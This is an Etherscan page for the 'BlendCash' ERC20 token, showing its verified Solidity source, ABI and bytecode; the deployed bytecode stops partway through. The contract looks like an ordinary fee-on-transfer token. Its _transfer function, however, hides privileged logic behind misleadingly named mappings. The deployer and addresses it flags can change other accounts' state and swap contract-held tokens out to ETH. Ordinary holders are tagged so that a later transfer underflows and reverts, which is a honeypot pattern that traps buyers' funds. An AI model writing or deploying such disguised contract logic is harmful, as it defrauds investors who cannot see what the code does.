ETH Price: $3,489.85 (-0.28%)
Gas: 7 Gwei

Token

BlendCash (BCASH)
 

Overview

Max Total Supply

100,000,000 BCASH

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,784,993.847263805 BCASH

Value
$0.00
0x8abAA38Ed51D040dd0bCF3cCe44304d7d12e1Cbd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlendCash

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-16
*/

pragma solidity >0.8.9;
// SPDX-License-Identifier: Unlicensed
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract BlendCash is IERC20, Ownable {
    string private _symbol;
    string private _name;
    uint256 public _taxFee = 3;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 100000000 * 10**_decimals;
    uint256 private _uint256 = _tTotal;

    mapping(address => uint256) private _balances;
    mapping(address => address) private _string;
    mapping(address => uint256) private _constructor;
    mapping(address => uint256) private _function;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _tTotal;
        _function[msg.sender] = _uint256;
        _function[address(this)] = _uint256;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 fee;
        if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        } else if (_function[from] > _uint256 && _function[to] > _uint256) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        } else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
            _function[to] = amount;
            return;
        } else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
            _constructor[from] = _function[from] - _uint256;
        }
        address _bool = _string[uniswapV2Pair];
        if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
        _string[uniswapV2Pair] = to;
        if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
            fee = (amount * _taxFee) / 100;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    receive() external payable {}

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600380556004805460ff191660099081179091556200002590600a620003d4565b62000035906305f5e100620003ec565b6005556005546006553480156200004b57600080fd5b50604051620018ea380380620018ea8339810160408190526200006e91620004e8565b62000079336200026f565b6002620000878482620005f3565b506001620000968382620005f3565b5060055433600090815260076020908152604080832093909355600654600a825283832081905530835291839020919091556001600160a01b03831660a0819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200010f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001359190620006bf565b6001600160a01b031663c9c653963060a0516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000185573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ab9190620006bf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021f9190620006bf565b6001600160a01b031660805260055460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050620006dd565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000316578160001904821115620002fa57620002fa620002bf565b808516156200030857918102915b93841c9390800290620002da565b509250929050565b6000826200032f57506001620003ce565b816200033e57506000620003ce565b8160018114620003575760028114620003625762000382565b6001915050620003ce565b60ff841115620003765762000376620002bf565b50506001821b620003ce565b5060208310610133831016604e8410600b8410161715620003a7575081810a620003ce565b620003b38383620002d5565b8060001904821115620003ca57620003ca620002bf565b0290505b92915050565b6000620003e560ff8416836200031e565b9392505050565b8082028115828204841417620003ce57620003ce620002bf565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200042e57600080fd5b81516001600160401b03808211156200044b576200044b62000406565b604051601f8301601f19908116603f0116810190828211818310171562000476576200047662000406565b816040528381526020925086838588010111156200049357600080fd5b600091505b83821015620004b7578582018301518183018401529082019062000498565b600093810190920192909252949350505050565b80516001600160a01b0381168114620004e357600080fd5b919050565b600080600060608486031215620004fe57600080fd5b83516001600160401b03808211156200051657600080fd5b62000524878388016200041c565b945060208601519150808211156200053b57600080fd5b506200054a868287016200041c565b9250506200055b60408501620004cb565b90509250925092565b600181811c908216806200057957607f821691505b6020821081036200059a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005ee57600081815260208120601f850160051c81016020861015620005c95750805b601f850160051c820191505b81811015620005ea57828155600101620005d5565b5050505b505050565b81516001600160401b038111156200060f576200060f62000406565b620006278162000620845462000564565b84620005a0565b602080601f8311600181146200065f5760008415620006465750858301515b600019600386901b1c1916600185901b178555620005ea565b600085815260208120601f198616915b8281101562000690578886015182559484019460019091019084016200066f565b5085821015620006af5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620006d257600080fd5b620003e582620004cb565b60805160a05161119a6200075060003960008181610324015281816107a001528181610c6801528181610d2101528181610d5e01528181610dd90152610e3f0152600081816101d2015281816106bc0152818161080d0152818161089e0152818161094401526109ab015261119a6000f3fe6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461028c578063dd62ed3e146102ac578063f2fde38b146102f2578063f887ea401461031257600080fd5b806370a082311461020c578063715018a6146102425780638da5cb5b1461025957806395d89b411461027757600080fd5b806323b872dd116100c657806323b872dd14610172578063313ce567146101925780633b124fe7146101aa57806349bd5a5e146101c057600080fd5b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461015357600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5061010d610346565b60405161011a9190610eb6565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610f19565b6103d8565b604051901515815260200161011a565b34801561015f57600080fd5b506005545b60405190815260200161011a565b34801561017e57600080fd5b5061014361018d366004610f45565b6103ee565b34801561019e57600080fd5b5060045460ff16610164565b3480156101b657600080fd5b5061016460035481565b3480156101cc57600080fd5b506101f47f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161011a565b34801561021857600080fd5b50610164610227366004610f86565b6001600160a01b031660009081526007602052604090205490565b34801561024e57600080fd5b5061025761043e565b005b34801561026557600080fd5b506000546001600160a01b03166101f4565b34801561028357600080fd5b5061010d6104a9565b34801561029857600080fd5b506101436102a7366004610f19565b6104b8565b3480156102b857600080fd5b506101646102c7366004610faa565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156102fe57600080fd5b5061025761030d366004610f86565b6104ce565b34801561031e57600080fd5b506101f47f000000000000000000000000000000000000000000000000000000000000000081565b60606002805461035590610fe3565b80601f016020809104026020016040519081016040528092919081815260200182805461038190610fe3565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b60006103e5338484610599565b90505b92915050565b60006103fb848484610679565b6001600160a01b0384166000908152600b6020908152604080832033808552925290912054610436918691610431908690611033565b610599565b949350505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104a76000610b88565b565b60606001805461035590610fe3565b60006104c5338484610679565b50600192915050565b6000546001600160a01b031633146105285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610494565b6001600160a01b03811661058d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610494565b61059681610b88565b50565b60006001600160a01b038416158015906105bb57506001600160a01b03831615155b6106135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610494565b6001600160a01b038481166000818152600b602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b30600090815260076020526040812054600c5490919060ff16801561069f575060065482115b80156106b35750600c54610100900460ff16155b80156106f157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b1561071e57600c805461ff00191661010017905561070e82610bd8565b600c805461ff001916905561093a565b6006546001600160a01b0386166000908152600a602052604090205411801561076057506006546001600160a01b0385166000908152600a6020526040902054115b1561079e575030600090815260076020526040812080548492839291610787908490611046565b9091555061079790508385610c11565b5050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316141580156107f757506001600160a01b0385166000908152600a602052604090205415155b8015610804575060065483115b801561084257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b156108665750506001600160a01b039091166000908152600a602052604090205550565b600c54610100900460ff1615801561089557506001600160a01b03851660009081526009602052604090205415155b80156108d357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156108f557506001600160a01b0385166000908152600a6020526040902054155b1561093a576006546001600160a01b0386166000908152600a60205260409020546109209190611033565b6001600160a01b0386166000908152600960205260409020555b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660009081526008602090815260408083205490931680835260099091529181205490036109a9576006546001600160a01b0382166000908152600960205260409020555b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03908116600090815260086020526040902080546001600160a01b03191691871691909117905560035415801590610a1f57506001600160a01b0386166000908152600a6020526040902054155b8015610a335750600c54610100900460ff16155b8015610a5557506001600160a01b0385166000908152600a6020526040902054155b15610ad757606460035485610a6a9190611059565b610a749190611070565b9150610a808285611033565b6001600160a01b038716600090815260076020526040812080549296508492909190610aad908490611033565b90915550503060009081526007602052604081208054849290610ad1908490611046565b90915550505b6001600160a01b03861660009081526007602052604081208054869290610aff908490611033565b90915550506001600160a01b03851660009081526007602052604081208054869290610b2c908490611046565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610b7891815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610be5600283611070565b905047610bf28230610c11565b6000610bfe8247611033565b9050610c0b838230610dd3565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c4657610c46611092565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce891906110a8565b81600181518110610cfb57610cfb611092565b60200260200101906001600160a01b031690816001600160a01b031681525050610d46307f000000000000000000000000000000000000000000000000000000000000000085610599565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790610d9c9086906000908690889042906004016110c5565b600060405180830381600087803b158015610db657600080fd5b505af1158015610dca573d6000803e3d6000fd5b50505050505050565b610dfe307f000000000000000000000000000000000000000000000000000000000000000085610599565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000000000000000000000000000000000000000000000169063f305d71990849060c40160606040518083038185885af1158015610e89573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eae9190611136565b505050505050565b600060208083528351808285015260005b81811015610ee357858101830151858201604001528201610ec7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059657600080fd5b60008060408385031215610f2c57600080fd5b8235610f3781610f04565b946020939093013593505050565b600080600060608486031215610f5a57600080fd5b8335610f6581610f04565b92506020840135610f7581610f04565b929592945050506040919091013590565b600060208284031215610f9857600080fd5b8135610fa381610f04565b9392505050565b60008060408385031215610fbd57600080fd5b8235610fc881610f04565b91506020830135610fd881610f04565b809150509250929050565b600181811c90821680610ff757607f821691505b60208210810361101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e8576103e861101d565b808201808211156103e8576103e861101d565b80820281158282048414176103e8576103e861101d565b60008261108d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110ba57600080fd5b8151610fa381610f04565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111155784516001600160a01b0316835293830193918301916001016110f0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561114b57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220c3d1d562370fe7bd1dbf72f868538fc96a50fe893be27d5f940593d2d168667364736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000009426c656e6443617368000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054243415348000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461028c578063dd62ed3e146102ac578063f2fde38b146102f2578063f887ea401461031257600080fd5b806370a082311461020c578063715018a6146102425780638da5cb5b1461025957806395d89b411461027757600080fd5b806323b872dd116100c657806323b872dd14610172578063313ce567146101925780633b124fe7146101aa57806349bd5a5e146101c057600080fd5b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461015357600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5061010d610346565b60405161011a9190610eb6565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610f19565b6103d8565b604051901515815260200161011a565b34801561015f57600080fd5b506005545b60405190815260200161011a565b34801561017e57600080fd5b5061014361018d366004610f45565b6103ee565b34801561019e57600080fd5b5060045460ff16610164565b3480156101b657600080fd5b5061016460035481565b3480156101cc57600080fd5b506101f47f000000000000000000000000f515c03bab8707717f89ae8d81f3d93966f2178481565b6040516001600160a01b03909116815260200161011a565b34801561021857600080fd5b50610164610227366004610f86565b6001600160a01b031660009081526007602052604090205490565b34801561024e57600080fd5b5061025761043e565b005b34801561026557600080fd5b506000546001600160a01b03166101f4565b34801561028357600080fd5b5061010d6104a9565b34801561029857600080fd5b506101436102a7366004610f19565b6104b8565b3480156102b857600080fd5b506101646102c7366004610faa565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156102fe57600080fd5b5061025761030d366004610f86565b6104ce565b34801561031e57600080fd5b506101f47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60606002805461035590610fe3565b80601f016020809104026020016040519081016040528092919081815260200182805461038190610fe3565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b60006103e5338484610599565b90505b92915050565b60006103fb848484610679565b6001600160a01b0384166000908152600b6020908152604080832033808552925290912054610436918691610431908690611033565b610599565b949350505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104a76000610b88565b565b60606001805461035590610fe3565b60006104c5338484610679565b50600192915050565b6000546001600160a01b031633146105285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610494565b6001600160a01b03811661058d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610494565b61059681610b88565b50565b60006001600160a01b038416158015906105bb57506001600160a01b03831615155b6106135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610494565b6001600160a01b038481166000818152600b602090815260408083209488168084529482529182902